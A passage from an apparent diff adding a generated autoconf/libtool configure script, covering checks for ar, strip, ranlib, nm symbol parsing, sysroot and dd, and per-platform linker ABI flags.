;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_AR="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_AR=$ac_cv_prog_ac_ct_AR +if test -n "$ac_ct_AR"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5 +printf "%s\n" "$ac_ct_AR" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$ac_ct_AR" && break +done + + if test "x$ac_ct_AR" = x; then + AR="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + AR=$ac_ct_AR + fi +fi + +: ${AR=ar} + + + + + + +# Use ARFLAGS variable as AR's operation code to sync the variable naming with +# Automake. If both AR_FLAGS and ARFLAGS are specified, AR_FLAGS should have +# higher priority because thats what people were doing historically (setting +# ARFLAGS for automake and AR_FLAGS for libtool). FIXME: Make the AR_FLAGS +# variable obsoleted/removed. + +test ${AR_FLAGS+y} || AR_FLAGS=${ARFLAGS-cr} +lt_ar_flags=$AR_FLAGS + + + + + + +# Make AR_FLAGS overridable by 'make ARFLAGS='. Don't try to run-time override +# by AR_FLAGS because that was never working and AR_FLAGS is about to die. + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5 +printf %s "checking for archiver @FILE support... " >&6; } +if test ${lt_cv_ar_at_file+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_ar_at_file=no + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + echo conftest.$ac_objext > conftest.lst + lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5' + { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5 + (eval $lt_ar_try) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + if test 0 -eq "$ac_status"; then + # Ensure the archiver fails upon bogus file names. + rm -f conftest.$ac_objext libconftest.a + { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5 + (eval $lt_ar_try) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + if test 0 -ne "$ac_status"; then + lt_cv_ar_at_file=@ + fi + fi + rm -f conftest.* libconftest.a + +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5 +printf "%s\n" "$lt_cv_ar_at_file" >&6; } + +if test no = "$lt_cv_ar_at_file"; then + archiver_list_spec= +else + archiver_list_spec=$lt_cv_ar_at_file +fi + + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. +set dummy ${ac_tool_prefix}strip; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_STRIP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$STRIP"; then + ac_cv_prog_STRIP="$STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_STRIP="${ac_tool_prefix}strip" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +STRIP=$ac_cv_prog_STRIP +if test -n "$STRIP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5 +printf "%s\n" "$STRIP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_STRIP"; then + ac_ct_STRIP=$STRIP + # Extract the first word of "strip", so it can be a program name with args. +set dummy strip; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_STRIP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_STRIP"; then + ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_STRIP="strip" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP +if test -n "$ac_ct_STRIP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5 +printf "%s\n" "$ac_ct_STRIP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_STRIP" = x; then + STRIP=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + STRIP=$ac_ct_STRIP + fi +else + STRIP="$ac_cv_prog_STRIP" +fi + +test -z "$STRIP" && STRIP=: + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. +set dummy ${ac_tool_prefix}ranlib; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_RANLIB+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +RANLIB=$ac_cv_prog_RANLIB +if test -n "$RANLIB"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5 +printf "%s\n" "$RANLIB" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_RANLIB"; then + ac_ct_RANLIB=$RANLIB + # Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_RANLIB+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_RANLIB"; then + ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_RANLIB="ranlib" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB +if test -n "$ac_ct_RANLIB"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5 +printf "%s\n" "$ac_ct_RANLIB" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_RANLIB" = x; then + RANLIB=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + RANLIB=$ac_ct_RANLIB + fi +else + RANLIB="$ac_cv_prog_RANLIB" +fi + +test -z "$RANLIB" && RANLIB=: + + + + + + +# Determine commands to create old-style static archives. +old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs' +old_postinstall_cmds='chmod 644 $oldlib' +old_postuninstall_cmds= + +if test -n "$RANLIB"; then + case $host_os in + bitrig* | openbsd*) + old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$tool_oldlib" + ;; + *) + old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$tool_oldlib" + ;; + esac + old_archive_cmds="$old_archive_cmds~\$RANLIB \$tool_oldlib" +fi + +case $host_os in + darwin*) + lock_old_archive_extraction=yes ;; + *) + lock_old_archive_extraction=no ;; +esac + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +# If no C compiler was specified, use CC. +LTCC=${LTCC-"$CC"} + +# If no C compiler flags were specified, use CFLAGS. +LTCFLAGS=${LTCFLAGS-"$CFLAGS"} + +# Allow CC to be a program name with arguments. +compiler=$CC + + +# Check for command to grab the raw symbol name followed by C symbol from nm. +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking command to parse $NM output from $compiler object" >&5 +printf %s "checking command to parse $NM output from $compiler object... " >&6; } +if test ${lt_cv_sys_global_symbol_pipe+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) +# These are sane defaults that work on at least a few old systems. +# [They come from Ultrix. What could be older than Ultrix?!! ;)] + +# Character class describing NM global symbol codes. +symcode='[BCDEGRST]' + +# Regexp to match symbols that can be accessed directly from C. +sympat='\([_A-Za-z][_A-Za-z0-9]*\)' + +# Define system-specific variables. +case $host_os in +aix*) + symcode='[BCDT]' + ;; +cygwin* | mingw* | pw32* | cegcc*) + symcode='[ABCDGISTW]' + ;; +hpux*) + if test ia64 = "$host_cpu"; then + symcode='[ABCDEGRST]' + fi + ;; +irix* | nonstopux*) + symcode='[BCDEGRST]' + ;; +osf*) + symcode='[BCDEGQRST]' + ;; +solaris*) + symcode='[BDRT]' + ;; +sco3.2v5*) + symcode='[DT]' + ;; +sysv4.2uw2*) + symcode='[DT]' + ;; +sysv5* | sco5v6* | unixware* | OpenUNIX*) + symcode='[ABDT]' + ;; +sysv4) + symcode='[DFNSTU]' + ;; +esac + +# If we're using GNU nm, then use its standard symbol codes. +case `$NM -V 2>&1` in +*GNU* | *'with BFD'*) + symcode='[ABCDGIRSTW]' ;; +esac + +if test "$lt_cv_nm_interface" = "MS dumpbin"; then + # Gets list of data symbols to import. + lt_cv_sys_global_symbol_to_import="$SED -n -e 's/^I .* \(.*\)$/\1/p'" + # Adjust the below global symbol transforms to fixup imported variables. + lt_cdecl_hook=" -e 's/^I .* \(.*\)$/extern __declspec(dllimport) char \1;/p'" + lt_c_name_hook=" -e 's/^I .* \(.*\)$/ {\"\1\", (void *) 0},/p'" + lt_c_name_lib_hook="\ + -e 's/^I .* \(lib.*\)$/ {\"\1\", (void *) 0},/p'\ + -e 's/^I .* \(.*\)$/ {\"lib\1\", (void *) 0},/p'" +else + # Disable hooks by default. + lt_cv_sys_global_symbol_to_import= + lt_cdecl_hook= + lt_c_name_hook= + lt_c_name_lib_hook= +fi + +# Transform an extracted symbol line into a proper C declaration. +# Some systems (esp. on ia64) link data and code symbols differently, +# so use this general approach. +lt_cv_sys_global_symbol_to_cdecl="$SED -n"\ +$lt_cdecl_hook\ +" -e 's/^T .* \(.*\)$/extern int \1();/p'"\ +" -e 's/^$symcode$symcode* .* \(.*\)$/extern char \1;/p'" + +# Transform an extracted symbol line into symbol name and symbol address +lt_cv_sys_global_symbol_to_c_name_address="$SED -n"\ +$lt_c_name_hook\ +" -e 's/^: \(.*\) .*$/ {\"\1\", (void *) 0},/p'"\ +" -e 's/^$symcode$symcode* .* \(.*\)$/ {\"\1\", (void *) \&\1},/p'" + +# Transform an extracted symbol line into symbol name with lib prefix and +# symbol address. +lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="$SED -n"\ +$lt_c_name_lib_hook\ +" -e 's/^: \(.*\) .*$/ {\"\1\", (void *) 0},/p'"\ +" -e 's/^$symcode$symcode* .* \(lib.*\)$/ {\"\1\", (void *) \&\1},/p'"\ +" -e 's/^$symcode$symcode* .* \(.*\)$/ {\"lib\1\", (void *) \&\1},/p'" + +# Handle CRLF in mingw tool chain +opt_cr= +case $build_os in +mingw*) + opt_cr=`$ECHO 'x\{0,1\}' | tr x '\015'` # option cr in regexp + ;; +esac + +# Try without a prefix underscore, then with it. +for ac_symprfx in "" "_"; do + + # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol. + symxfrm="\\1 $ac_symprfx\\2 \\2" + + # Write the raw and C identifiers. + if test "$lt_cv_nm_interface" = "MS dumpbin"; then + # Fake it for dumpbin and say T for any non-static function, + # D for any global variable and I for any imported variable. + # Also find C++ and __fastcall symbols from MSVC++ or ICC, + # which start with @ or ?. + lt_cv_sys_global_symbol_pipe="$AWK '"\ +" {last_section=section; section=\$ 3};"\ +" /^COFF SYMBOL TABLE/{for(i in hide) delete hide[i]};"\ +" /Section length .*#relocs.*(pick any)/{hide[last_section]=1};"\ +" /^ *Symbol name *: /{split(\$ 0,sn,\":\"); si=substr(sn[2],2)};"\ +" /^ *Type *: code/{print \"T\",si,substr(si,length(prfx))};"\ +" /^ *Type *: data/{print \"I\",si,substr(si,length(prfx))};"\ +" \$ 0!~/External *\|/{next};"\ +" / 0+ UNDEF /{next}; / UNDEF \([^|]\)*()/{next};"\ +" {if(hide[section]) next};"\ +" {f=\"D\"}; \$ 0~/\(\).*\|/{f=\"T\"};"\ +" {split(\$ 0,a,/\||\r/); split(a[2],s)};"\ +" s[1]~/^[@?]/{print f,s[1],s[1]; next};"\ +" s[1]~prfx {split(s[1],t,\"@\"); print f,t[1],substr(t[1],length(prfx))}"\ +" ' prfx=^$ac_symprfx" + else + lt_cv_sys_global_symbol_pipe="$SED -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'" + fi + lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | $SED '/ __gnu_lto/d'" + + # Check to see that the pipe works correctly. + pipe_works=no + + rm -f conftest* + cat > conftest.$ac_ext <<_LT_EOF +#ifdef __cplusplus +extern "C" { +#endif +char nm_test_var; +void nm_test_func(void); +void nm_test_func(void){} +#ifdef __cplusplus +} +#endif +int main(){nm_test_var='a';nm_test_func();return(0);} +_LT_EOF + + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + # Now try to grab the symbols. + nlist=conftest.nm + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$NM conftest.$ac_objext \| "$lt_cv_sys_global_symbol_pipe" \> $nlist\""; } >&5 + (eval $NM conftest.$ac_objext \| "$lt_cv_sys_global_symbol_pipe" \> $nlist) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && test -s "$nlist"; then + # Try sorting and uniquifying the output. + if sort "$nlist" | uniq > "$nlist"T; then + mv -f "$nlist"T "$nlist" + else + rm -f "$nlist"T + fi + + # Make sure that we snagged all the symbols we need. + if $GREP ' nm_test_var$' "$nlist" >/dev/null; then + if $GREP ' nm_test_func$' "$nlist" >/dev/null; then + cat <<_LT_EOF > conftest.$ac_ext +/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */ +#if defined _WIN32 || defined __CYGWIN__ || defined _WIN32_WCE +/* DATA imports from DLLs on WIN32 can't be const, because runtime + relocations are performed -- see ld's documentation on pseudo-relocs. */ +# define LT_DLSYM_CONST +#elif defined __osf__ +/* This system does not cope well with relocations in const data. */ +# define LT_DLSYM_CONST +#else +# define LT_DLSYM_CONST const +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +_LT_EOF + # Now generate the symbol file. + eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | $GREP -v main >> conftest.$ac_ext' + + cat <<_LT_EOF >> conftest.$ac_ext + +/* The mapping between symbol names and symbols. */ +LT_DLSYM_CONST struct { + const char *name; + void *address; +} +lt__PROGRAM__LTX_preloaded_symbols[] = +{ + { "@PROGRAM@", (void *) 0 }, +_LT_EOF + $SED "s/^$symcode$symcode* .* \(.*\)$/ {\"\1\", (void *) \&\1},/" < "$nlist" | $GREP -v main >> conftest.$ac_ext + cat <<\_LT_EOF >> conftest.$ac_ext + {0, (void *) 0} +}; + +/* This works around a problem in FreeBSD linker */ +#ifdef FREEBSD_WORKAROUND +static const void *lt_preloaded_setup() { + return lt__PROGRAM__LTX_preloaded_symbols; +} +#endif + +#ifdef __cplusplus +} +#endif +_LT_EOF + # Now try linking the two files. + mv conftest.$ac_objext conftstm.$ac_objext + lt_globsym_save_LIBS=$LIBS + lt_globsym_save_CFLAGS=$CFLAGS + LIBS=conftstm.$ac_objext + CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag" + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5 + (eval $ac_link) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && test -s conftest$ac_exeext; then + pipe_works=yes + fi + LIBS=$lt_globsym_save_LIBS + CFLAGS=$lt_globsym_save_CFLAGS + else + echo "cannot find nm_test_func in $nlist" >&5 + fi + else + echo "cannot find nm_test_var in $nlist" >&5 + fi + else + echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5 + fi + else + echo "$progname: failed program was:" >&5 + cat conftest.$ac_ext >&5 + fi + rm -rf conftest* conftst* + + # Do not use the global_symbol_pipe unless it works. + if test yes = "$pipe_works"; then + break + else + lt_cv_sys_global_symbol_pipe= + fi +done + ;; +esac +fi + +if test -z "$lt_cv_sys_global_symbol_pipe"; then + lt_cv_sys_global_symbol_to_cdecl= +fi +if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: failed" >&5 +printf "%s\n" "failed" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: ok" >&5 +printf "%s\n" "ok" >&6; } +fi + +# Response file support. +if test "$lt_cv_nm_interface" = "MS dumpbin"; then + nm_file_list_spec='@' +elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then + nm_file_list_spec='@' +fi + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5 +printf %s "checking for sysroot... " >&6; } + +# Check whether --with-sysroot was given. +if test ${with_sysroot+y} +then : + withval=$with_sysroot; +else case e in #( + e) with_sysroot=no ;; +esac +fi + + +lt_sysroot= +case $with_sysroot in #( + yes) + if test yes = "$GCC"; then + lt_sysroot=`$CC --print-sysroot 2>/dev/null` + fi + ;; #( + /*) + lt_sysroot=`echo "$with_sysroot" | $SED -e "$sed_quote_subst"` + ;; #( + no|'') + ;; #( + *) + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $with_sysroot" >&5 +printf "%s\n" "$with_sysroot" >&6; } + as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5 + ;; +esac + + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5 +printf "%s\n" "${lt_sysroot:-no}" >&6; } + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for a working dd" >&5 +printf %s "checking for a working dd... " >&6; } +if test ${ac_cv_path_lt_DD+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) printf 0123456789abcdef0123456789abcdef >conftest.i +cat conftest.i conftest.i >conftest2.i +: ${lt_DD:=$DD} +if test -z "$lt_DD"; then + ac_path_lt_DD_found=false + # Loop through the user's path and test for each of PROGNAME-LIST + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_prog in dd + do + for ac_exec_ext in '' $ac_executable_extensions; do + ac_path_lt_DD="$as_dir$ac_prog$ac_exec_ext" + as_fn_executable_p "$ac_path_lt_DD" || continue +if "$ac_path_lt_DD" bs=32 count=1 conftest.out 2>/dev/null; then + cmp -s conftest.i conftest.out \ + && ac_cv_path_lt_DD="$ac_path_lt_DD" ac_path_lt_DD_found=: +fi + $ac_path_lt_DD_found && break 3 + done + done + done +IFS=$as_save_IFS + if test -z "$ac_cv_path_lt_DD"; then + : + fi +else + ac_cv_path_lt_DD=$lt_DD +fi + +rm -f conftest.i conftest2.i conftest.out ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_lt_DD" >&5 +printf "%s\n" "$ac_cv_path_lt_DD" >&6; } + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to truncate binary pipes" >&5 +printf %s "checking how to truncate binary pipes... " >&6; } +if test ${lt_cv_truncate_bin+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) printf 0123456789abcdef0123456789abcdef >conftest.i +cat conftest.i conftest.i >conftest2.i +lt_cv_truncate_bin= +if "$ac_cv_path_lt_DD" bs=32 count=1 conftest.out 2>/dev/null; then + cmp -s conftest.i conftest.out \ + && lt_cv_truncate_bin="$ac_cv_path_lt_DD bs=4096 count=1" +fi +rm -f conftest.i conftest2.i conftest.out +test -z "$lt_cv_truncate_bin" && lt_cv_truncate_bin="$SED -e 4q" ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_truncate_bin" >&5 +printf "%s\n" "$lt_cv_truncate_bin" >&6; } + + + + + + + +# Calculate cc_basename. Skip known compiler wrappers and cross-prefix. +func_cc_basename () +{ + for cc_temp in $*""; do + case $cc_temp in + compile | *[\\/]compile | ccache | *[\\/]ccache ) ;; + distcc | *[\\/]distcc | purify | *[\\/]purify ) ;; + \-*) ;; + *) break;; + esac + done + func_cc_basename_result=`$ECHO "$cc_temp" | $SED "s%.*/%%; s%^$host_alias-%%"` +} + +# Check whether --enable-libtool-lock was given. +if test ${enable_libtool_lock+y} +then : + enableval=$enable_libtool_lock; +fi + +test no = "$enable_libtool_lock" || enable_libtool_lock=yes + +# Some flags need to be propagated to the compiler or linker for good +# libtool support. +case $host in +ia64-*-hpux*) + # Find out what ABI is being produced by ac_compile, and set mode + # options accordingly. + echo 'int i;' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + case `$FILECMD conftest.$ac_objext` in + *ELF-32*) + HPUX_IA64_MODE=32 + ;; + *ELF-64*) + HPUX_IA64_MODE=64 + ;; + esac + fi + rm -rf conftest* + ;; +*-*-irix6*) + # Find out what ABI is being produced by ac_compile, and set linker + # options accordingly. + echo '#line '$LINENO' "configure"' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + if test yes = "$lt_cv_prog_gnu_ld"; then + case `$FILECMD conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -melf32bsmip" + ;; + *N32*) + LD="${LD-ld} -melf32bmipn32" + ;; + *64-bit*) + LD="${LD-ld} -melf64bmip" + ;; + esac + else + case `$FILECMD conftest.$ac_objext` in + *32-bit*) + LD="${LD-ld} -32" + ;; + *N32*) + LD="${LD-ld} -n32" + ;; + *64-bit*) + LD="${LD-ld} -64" + ;; + esac + fi + fi + rm -rf conftest* + ;; + +mips64*-*linux*) + # Find out what ABI is being produced by ac_compile, and set linker + # options accordingly. + echo '#line '$LINENO' "configure"' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + emul=elf + case `$FILECMD conftest.$ac_objext` in + *32-bit*) + emul="${emul}32" + ;; + *64-bit*) + emul="${emul}64" + ;; + esac + case `$FILECMD conftest.$ac_objext` in + *MSB*) + emul="${emul}btsmip" + ;; + *LSB*) + emul="${emul}ltsmip" + ;; + esac + case `$FILECMD conftest.$ac_objext` in + *N32*) + emul="${emul}n32" + ;; + esac + LD="${LD-ld} -m $emul" + fi + rm -rf conftest* + ;; + +x86_64-*kfreebsd*-gnu|x86_64-*linux*|powerpc*-*linux*| \ +s390*-*linux*|s390*-*tpf*|sparc*-*linux*) + # Find out what ABI is being produced by ac_compile, and set linker + # options accordingly. Note that the listed cases only cover the + # situations where additional linker options are needed (such as when + # doing 32-bit compilation for a host where ld defaults to 64-bit, or + # vice versa); the common cases where no linker options are needed do + # not appear in the list. + echo 'int i;' > conftest.$ac_ext + if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; then + case `$FILECMD conftest.o` in + *32-bit*) + case $host in + x86_64-*kfreebsd*-gnu) + LD="${LD-ld} -m elf_i386_fbsd" + ;; + x86_64-*linux*) + case `$FILECMD conftest.o` in + *x86-64*) + LD="${LD-ld} -m elf32_x86_64" + ;; + *) + LD="${LD-ld} -m elf_i386" + ;; + esac + ;; + powerpc64le-*linux*) + LD="${LD-ld} -m elf32lppclinux" + ;; + powerpc64-*linux*) + LD="${LD-ld} -m elf32ppclinux" + ;; + s390x-*linux*) + LD="${LD-ld} -m elf_s390" + ;; + sparc64-*linux*) + LD="${LD-ld} -m elf32_sparc" + ;; + esac + ;; + *64-bit*) + case $host in + x86_64-*kfreebsd*-gnu) + LD="${LD-ld} -m elf_x86_64_fbsd" + ;; + x86_64-*linux*) + LD="${LD-ld} -m elf_x86_64" + ;; + powerpcle-*linux*) + LD="${LD-ld} -m elf64lppc" + ;; + powerpc-*linux*) + LD="${LD-ld} -m elf64ppc" + ;; + s390*-*linux*|s390*-*tpf*) + LD="${LD-ld} -m elf64_s390" + ;; + sparc*-*linux*) + LD="${LD-ld} -m elf64_sparc" + ;; + esac + ;; + esac + fi + rm -rf conftest* + ;; + +*-*-sco3.2v5*) + # On SCO OpenServer 5, we need -belf to get full-featured binaries. + SAVE_CFLAGS=$CFLAGS + CFLAGS="$CFLAGS -belf" + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the C compiler needs -belf" >&5 +printf %s "checking whether the C compiler needs -belf... " >&6; } +if test ${lt_cv_cc_needs_belf+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; 